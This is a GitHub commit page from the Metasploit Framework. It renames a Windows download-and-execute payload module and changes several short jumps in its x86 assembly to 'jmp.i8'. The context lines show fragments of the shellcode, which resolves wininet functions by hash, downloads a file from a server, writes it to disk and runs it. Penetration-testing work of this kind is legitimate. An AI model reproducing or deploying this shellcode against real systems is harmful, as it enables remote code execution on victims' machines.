Skip to content

Commit cd257f6

Browse files
committed
Merge branch 'download_exec' of git://github.com/corelanc0d3r/metasploit-framework into corelanc0d3r-download_exec
2 parents 7d317e7 + cad7eb0 commit cd257f6

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

modules/payloads/singles/windows/download_exec_https.rb renamed to modules/payloads/singles/windows/download_exec.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -216,7 +216,7 @@ def generate
216216
pop edi ; Pop off the current (now the previous) modules hash
217217
pop edx ; Restore our position in the module list
218218
mov edx, [edx] ; Get the next module
219-
jmp next_mod ; Process this module
219+
jmp.i8 next_mod ; Process this module
220220
221221
; actual routine
222222
start:
@@ -240,7 +240,7 @@ def generate
240240
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
241241
call ebp
242242
243-
jmp dbl_get_server_host
243+
jmp.i8 dbl_get_server_host
244244
245245
internetconnect:
246246
pop ebx ; Save the hostname pointer
@@ -256,7 +256,7 @@ def generate
256256
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
257257
call ebp
258258
259-
jmp get_server_uri
259+
jmp.i8 get_server_uri
260260
261261
httpopenrequest:
262262
pop ecx
@@ -303,7 +303,7 @@ def generate
303303
try_it_again:
304304
dec ebx
305305
jz thats_all_folks ; failure -> exit
306-
jmp set_security_options
306+
jmp.i8 set_security_options
307307
308308
dbl_get_server_host:
309309
jmp get_server_host
@@ -315,7 +315,7 @@ def generate
315315
db "/#{server_uri}", 0x00
316316
317317
create_file:
318-
jmp get_filename
318+
jmp.i8 get_filename
319319
320320
get_filename_return:
321321
xor eax,eax ; zero eax
@@ -365,7 +365,7 @@ def generate
365365
push 0x5BAE572D ; kernel32.dll!WriteFile
366366
call ebp
367367
sub esp,4 ; set stack back to where it was
368-
jmp download_more
368+
jmp.i8 download_more
369369
370370
close_and_run:
371371
push ebx

0 commit comments

Comments
 (0)